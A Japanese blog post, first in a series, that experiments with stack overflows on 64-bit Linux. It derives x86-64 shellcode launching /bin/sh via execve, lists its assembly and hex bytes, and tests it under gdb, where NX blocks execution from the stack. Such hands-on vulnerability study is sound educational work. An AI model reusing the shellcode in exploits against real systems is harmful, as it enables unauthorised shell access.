脆弱性に関する実験:スタックオーバーフロー(その01)
スタックへのマシン語の書き込みとその実行に関する実験
プログラムの脆弱性の一つとしてスタック オーバーフローを利用して、関数からの戻りアドレスを書き換えてしまうというのがあります。大まかな仕組みは、ある関数でローカル変数としてバッファ領域を宣言して、そのバッファに対してバッファの大きさ以上の値をコピーするとバッファの領域を超えてスタック フレームにデータを書き込む事になり、スタック フレームを破壊することで関数の戻りアドレスを変更するものです。例えば strcpyなどでバッファ間のコピーをする際に起こり得るわけです。
理屈は分かりますが、では実際に作れるか?と言われると、今まで作ったことがないのではっきり言って自信はないのです。エンジニアたるもの実践なくして技術を語るな、といのがモットーの私としては、やはり作らなければいけないと思いました。
Webで探せば、やり方を書いたページあるかと思いますが、ここはまずは自分で考えて作ってみることにします。従って、当面は試行錯誤の雑記帳になるかも知れません。
関数からの戻りアドレスを変更できたとして、その先で何をやらせるかを明確にしなければなりません。単にアドレスを適当な値に書き換えて暴走させるだけであれば、誰でもできます(いわゆるバグですね。)。
そこで、シェルを起動する簡単なプログラムでテストすることにしました。単独のプログラムとして書くと次のような簡単なものです。
#include <unistd.h> void main() { execve("/bin/sh", NULL, NULL); }
execveは今動いているプロセスに対して引数で指定されるプログラムをロードして起動するシステム コールです。execlとかexecpとかはこのシステム コールを使ったライブラリ関数として定義されていますので、一番基本となるexecveを使います。
先ずは、このプログラムが機械語としてどのようなプログラムに展開されるのかを調べなければなりません。コンパイラの“-S”オプションではexecveのライブラリ呼び出しのところまでしか分かりませんから、“-static”でコンパイルして出来たオブジェクトをobjdumpで逆アセンブルします。
ubuntu@ubuntu1304d64:~/Temp$ gcc -o callsh callsh.c -static ubuntu@ubuntu1304d64:~/Temp$ objdump -D -x callsh > callsh.da ubuntu@ubuntu1304d64:~/Temp$ ls -l total 12300 -rwxrwxr-x 1 ubuntu ubuntu 895626 Sep 15 15:02 callsh -rw-rw-r-- 1 ubuntu ubuntu 218 Sep 15 14:58 callsh.c -rw-rw-r-- 1 ubuntu ubuntu 11693162 Sep 15 15:12 callsh.da ubuntu@ubuntu1304d64:~/Temp$
さて、得られた逆アセンブラは結構な量ですが、エディタで“main”と“execve”という文字列で必要な部分を探します。以下は必要な部分のみの抜粋です。
0000000000401110 <main>: 401110: 55 push %rbp 401111: 48 89 e5 mov %rsp,%rbp 401114: ba 00 00 00 00 mov $0x0,%edx 401119: be 00 00 00 00 mov $0x0,%esi 40111e: bf 84 5e 49 00 mov $0x495e84,%edi 401123: e8 f8 db 00 00 callq 40ed20 <__execve> 401128: 5d pop %rbp 401129: c3 retq 40112a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) 000000000040ed20 <__execve>: 40ed20: b8 3b 00 00 00 mov $0x3b,%eax 40ed25: 0f 05 syscall 40ed27: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax 40ed2d: 77 02 ja 40ed31 <__execve+0x11> 40ed2f: f3 c3 repz retq 40ed31: 48 c7 c2 c0 ff ff ff mov $0xffffffffffffffc0,%rdx 40ed38: f7 d8 neg %eax 40ed3a: 64 89 02 mov %eax,%fs:(%rdx) 40ed3d: 48 83 c8 ff or $0xffffffffffffffff,%rax 40ed41: c3 retq 40ed42: 66 90 xchg %ax,%ax 40ed44: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40ed4b: 00 00 00 40ed4e: 66 90 xchg %ax,%ax 0000000000495e80 <_IO_stdin_used>: 495e80: 01 00 add %eax,(%rax) 495e82: 02 00 add (%rax),%al 495e84: 2f (bad) 495e85: 62 (bad) 495e86: 69 6e 2f 73 68 00 46 imul $0x46006873,0x2f(%rsi),%ebp
このことからexecveを使うには以下のことを準備すれば良いことがわかります。
- edx(rdx)レジスタには第3引数のNULL、つまりゼロをセットする。
- esi(rsi)レジスタには第2引数のNULL、つまりゼロをセットする。
- edi(rdi)レジスタには第1引数のコマンドパスを保持したアドレスをセットする。
- eax(rax)レジスタにはシステム コール番号の“3b”をセットする。
- syscall命令でシステム コールを実行する。
以外と簡単でした。
なお、“/bin/sh”はコマンド引数へのポインタがNULL(今回の第2引数)でも、環境変数へのポインタがNULL(今回の第3引数)でも動くので、こんな簡単なものでも実験はできます。コマンドによってはこれらの引数としてNULL値以外のものを必要とするものもあります。
また、私の環境は64bit環境なので、レジスタは“rxx”という名称になるのですが、何故か32bit環境の“exx”になっていました。これはコンパイラが命令数を短くするために“exx”を対象して演算しているようです。実質的には“rxx”を対象として演算するのと違いはありませんでした。
以上から必要な命令は次の5命令で構成できます。
xor %edx,%edx xor %esi,%esi lea 0x07(%rip),%rdi mov $0x3b,%eax syscall .string "/bin/sh"
“.string”はアセンブラに対する疑似命令で“/bin/sh”という文字列を“そこに”置くことを指定します。この場合はsyscall命令の直後に配置しています。また、そのアドレスをrdiレジスタに格納する必要がありますが、これはその命令(lea命令)のある場所からの相対アドレスで指定します。(つまり、lea命令の直後から7バイト増加したアドレスをrdiに格納します。これで、この5命令+1疑似命令はどのアドレスに配置されても動きます。)
では、まずはこのプログラムがちゃんと機能するか検証してみましょう。検証用に次のようなC(実質はアセンブラ)のプログラムを用意します。
fake.c
int main() { __asm__( "xor %edx,%edx\n" "xor %esi,%esi\n" "lea 0x07(%rip),%rdi\n" "mov $0x3b,%eax\n" "syscall\n" ".string \"/bin/sh\"\n" ); }
ではコンパイルして実行してみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o fake fake.c ubuntu@ubuntu1304d64:~/Temp$ ./fake $ env PWD=/home/ubuntu/Temp $ exit ubuntu@ubuntu1304d64:~/Temp$
確かにshが起動されました。今回はshに対して環境変数を渡していないので、環境変数はshが起動してから自ら設定したPWDだけになっています。
このオブジェクトをダンプしたのが以下の逆アセンブラ リストです。
00000000004004ec <main>: 4004ec: 55 push %rbp 4004ed: 48 89 e5 mov %rsp,%rbp 4004f0: 31 d2 xor %edx,%edx 4004f2: 31 f6 xor %esi,%esi 4004f4: 48 8d 3d 07 00 00 00 lea 0x7(%rip),%rdi # 400502 <main+0x16> 4004fb: b8 3b 00 00 00 mov $0x3b,%eax 400500: 0f 05 syscall 400502: 2f (bad) 400503: 62 (bad) 400504: 69 6e 2f 73 68 00 5d imul $0x5d006873,0x2f(%rsi),%ebp 40050b: c3 retq 40050c: 0f 1f 40 00 nopl 0x0(%rax)
“syscall”の後に“(bad)”という未定義命令がありますが、これは“/bin/sh”という文字列がここにあるためです。なお、syscallでシェルを起動してしまったら、このアドレスには戻ってこないので、syscall以降の命令は必要ありません。何らかの原因でシステムコールが失敗した時のみsyscall命令の次に戻ってきます。しかし、今回の場合は、そこまでは面倒を見ないことにします。
このプログラムはアセンブラで書いてありますが、通常のプログラムと同様にテキスト領域(つまりプログラムの本体か格納されているメモリ領域)にあるプログラムとして動いています。ではテキスト領域以外に配置しても動くのかを次に試してみました。
今度はアセンブラとしてではなく、マシン語として定義して、それをスタック領域に配置し、それに対して関数呼び出しを実行してみます。
fake2.c
int main() { char code[] = "\x31\xd2" // xor %edx,%edx "\x31\xf6" // xor %esi,%esi "\x48\x8d\x3d\x07\x00\x00\x00" // lea 0x7(%rip),%rdi "\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax "\x0f\x05" // syscall "/bin/sh" "\x00"; (*(void (*)())code)(); }
ここでcodeという配列はmainに対してローカル変数ですからmainのスタックに領域が取られ、初期化時にマシン語のプログラムが設定されます。プログラムの先頭アドレスを表すのは“code”になりますが、これをvoid型の関数へのポインタとしてキャストすることで、そのアドレスを呼び出します。
では、コンパイルして実行してみましょう。
ubuntu@ubuntu1304d64:~/Temp$ cc -o fake2 fake2.c ubuntu@ubuntu1304d64:~/Temp$ ./fake2 Segmentation fault (core dumped) ubuntu@ubuntu1304d64:~/Temp$
おや、SEGV例外が発生しているようです。では、gdbで追いかけてみましょう。
ubuntu@ubuntu1304d64:~/Temp$ gdb ./fake2 (gdb) disassemble main Dump of assembler code for function main: 0x000000000040055c <+0>: push %rbp 0x000000000040055d <+1>: mov %rsp,%rbp 0x0000000000400560 <+4>: sub $0x30,%rsp 0x0000000000400564 <+8>: mov %fs:0x28,%rax 0x000000000040056d <+17>: mov %rax,-0x8(%rbp) 0x0000000000400571 <+21>: xor %eax,%eax 0x0000000000400573 <+23>: mov 0xfa(%rip),%rax # 0x400674 0x000000000040057a <+30>: mov %rax,-0x30(%rbp) 0x000000000040057e <+34>: mov 0xf7(%rip),%rax # 0x40067c 0x0000000000400585 <+41>: mov %rax,-0x28(%rbp) 0x0000000000400589 <+45>: mov 0xf4(%rip),%rax # 0x400684 0x0000000000400590 <+52>: mov %rax,-0x20(%rbp) 0x0000000000400594 <+56>: movzwl 0xf1(%rip),%eax # 0x40068c 0x000000000040059b <+63>: mov %ax,-0x18(%rbp) 0x000000000040059f <+67>: movzbl 0xe8(%rip),%eax # 0x40068e 0x00000000004005a6 <+74>: mov %al,-0x16(%rbp) 0x00000000004005a9 <+77>: lea -0x30(%rbp),%rdx 0x00000000004005ad <+81>: mov $0x0,%eax 0x00000000004005b2 <+86>: callq *%rdx 0x00000000004005b4 <+88>: mov -0x8(%rbp),%rdx 0x00000000004005b8 <+92>: xor %fs:0x28,%rdx 0x00000000004005c1 <+101>: je 0x4005c8 <main+108> 0x00000000004005c3 <+103>: callq 0x400440 <__stack_chk_fail@plt> 0x00000000004005c8 <+108>: leaveq 0x00000000004005c9 <+109>: retq End of assembler dump. (gdb)
main関数ではちゃんと配列変数の初期化をしているようです(+23~+74)。また、その変数の先頭アドレスをrdxレジスタに格納して、そこへ関数コールをしています(+77~+86)。
それでは関数コールの直前まで走らせてみましょう。
(gdb) b *0x00000000004005b2 Breakpoint 1 at 0x4005b2 (gdb) run Starting program: /home/ubuntu/Temp/fake2 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 Breakpoint 1, 0x00000000004005b2 in main () (gdb)
callq命令を実行する直前までは問題なく動いています。では、スタック領域は初期化されてマシン語のプログラムが配置されているハズなので、ダンプしてみます。
(gdb) x/5i $rsp 0x7fffffffe430: xor %edx,%edx 0x7fffffffe432: xor %esi,%esi 0x7fffffffe434: lea 0x7(%rip),%rdi # 0x7fffffffe442 0x7fffffffe43b: mov $0x3b,%eax 0x7fffffffe440: syscall (gdb) x/s 0x7fffffffe442 0x7fffffffe442: "/bin/sh" (gdb)
確かにスタック ポインタの先頭からプログラムが書き込まれています。また、syscallに渡す文字列の“/bin/sh"も書き込まれています。
それでは、1命令だけ実行して、マシン語のプログラムの先頭(=現在のスタックポインタの先頭=0x7fffffffe430番地)へジャンプしてしてみます。
(gdb) si 0x00007fffffffe430 in ?? () (gdb)
確かに0x00007fffffffe430へジャンプしました。念のため現在のプログラム カウンタから逆アセンブルしてみます。
(gdb) x/5i $rip => 0x7fffffffe430: xor %edx,%edx 0x7fffffffe432: xor %esi,%esi 0x7fffffffe434: lea 0x7(%rip),%rdi # 0x7fffffffe442 0x7fffffffe43b: mov $0x3b,%eax 0x7fffffffe440: syscall (gdb)
確かに機械語のプログラムになっています。変な命令ではありません。それでは、最初の命令“xor %edx,%edx”を実行します。
(gdb) si Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffe430 in ?? () (gdb)
ここでSEGV例外が発生しています。このxor命令は、命令としては正しい命令(つまり未定義命令ではない)ですし、またレジスタにアクセスするだけでメモリにはアクセスしていません。従って、通常、よく見かけるアドレス例外でもありません。
ということは、Linuxがテキスト領域以外で命令を実行するとSEGV例外を発生していると考えられます。勿論、命令実施の度にソフトウェアでチェックしていることは考えられないので、ハードウェアの仕組みを使っていることは確かです。それで調べてみると、“No-Execute(NX)ビット”というページエントリのフラグがありました。ソースコードで確認はしていませんが、それを使っているのかと思います。
x64 - Wikipedia
NXビット - Wikipedia
この機能はamd64アーキテクチャから導入されているようなので、結果的に最近のCPUを利用したOSに関して言えば、スタック領域にあるプログラムを実行することは不可能ということになります。(正確にはスタック領域にあるプログラムの実行を制御可能、です。NXビットが立っていなければ実行することも可能でしょうから。)
ということで、このアプローチでのスタック オーバーフローによる任意のプログラムの実行は難しいという結論になりました。ここで言うスタック オーバーフローはCなどのレガシーなプログラミング言語で生成されるハードウェアのスタック レジスタを利用したフレーム構造を指しますので、言語に依ってはスタックの定義が違いますから、必ずしも全てのケースで実行できないわけではないと思います。
とは言っても、上で実験した様にスタックを書き換えることは可能なので、他のアプローチを考えてみたいと思います。
今日はこの辺まで。
脆弱性に関する実験:スタックオーバーフロー編(リンク)
脆弱性に関する実験:スタックオーバーフロー(その01) - AIDEMOIRE
スタックへのマシン語の書き込みとその実行に関する実験
脆弱性に関する実験:スタックオーバーフロー(その02) - AIDEMOIRE
戻りアドレスの書き換えによるロジックの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その03) - AIDEMOIRE
プログラムによる自分自身のプログラムの変更に関する実験
脆弱性に関する実験:スタックオーバーフロー(その04) - AIDEMOIRE
スタックの書き換えによるシェルの起動
脆弱性に関する実験:スタックオーバーフロー(その05) - AIDEMOIRE
スタックオーバーフローの脆弱性に関する考察
脆弱性に関する実験:スタックオーバーフロー(その06) - AIDEMOIRE
スタック上のプログラムを実行する方法